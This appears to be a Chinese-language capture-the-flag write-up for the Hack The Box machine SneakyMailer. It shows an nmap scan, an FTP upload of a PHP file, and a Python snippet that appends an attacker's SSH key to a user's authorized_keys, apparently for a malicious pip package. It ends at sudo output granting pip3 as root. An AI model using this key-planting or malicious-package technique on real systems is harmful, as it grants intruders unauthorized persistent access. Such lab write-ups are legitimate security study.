$ nmap -sC -sV 10.10.10.197 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-22 12:35 CST Nmap scan report for 10.10.10.197 Host is up (0.068s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: UIDPLUS completed THREAD=ORDEREDSUBJECT OK CHILDREN ACL2=UNION SORT QUOTA STARTTLS ACL THREAD=REFERENCES NAMESPACE UTF8=ACCEPTA0001 IMAP4rev1 IDLE ENABLE CAPABILITY | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: UIDPLUS completed THREAD=ORDEREDSUBJECT OK CHILDREN ACL2=UNION SORT QUOTA THREAD=REFERENCES ACL AUTH=PLAIN NAMESPACE UTF8=ACCEPTA0001 IMAP4rev1 IDLE ENABLE CAPABILITY | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 8080/tcp open http nginx 1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx! Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.31 seconds
ftp> put miao.php local: miao.php remote: miao.php 227 Entering Passive Mode (10,10,10,197,106,218). 150 Ok to send data. 226 Transfer complete. 31 bytes sent in 0.00 secs (420.4644 kB/s)
try: with open("/home/low/.ssh/authorized_keys", "a") as f: f.write("\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6Ew9PQtpGf/0V00Yhu4XluLxoLh70CClimoc8IzuxI miao@miao") f.close() except Exception as e: pass
setuptools.setup( name="miaopkg", # Replace with your own username version="0.0.1", author="Example Author", author_email="author@example.com", description="A small example package", long_description="", long_description_content_type="text/markdown", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )
user flag
SSH登录,得到user.txt:
提权信息
1 2 3 4 5 6 7 8 9
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3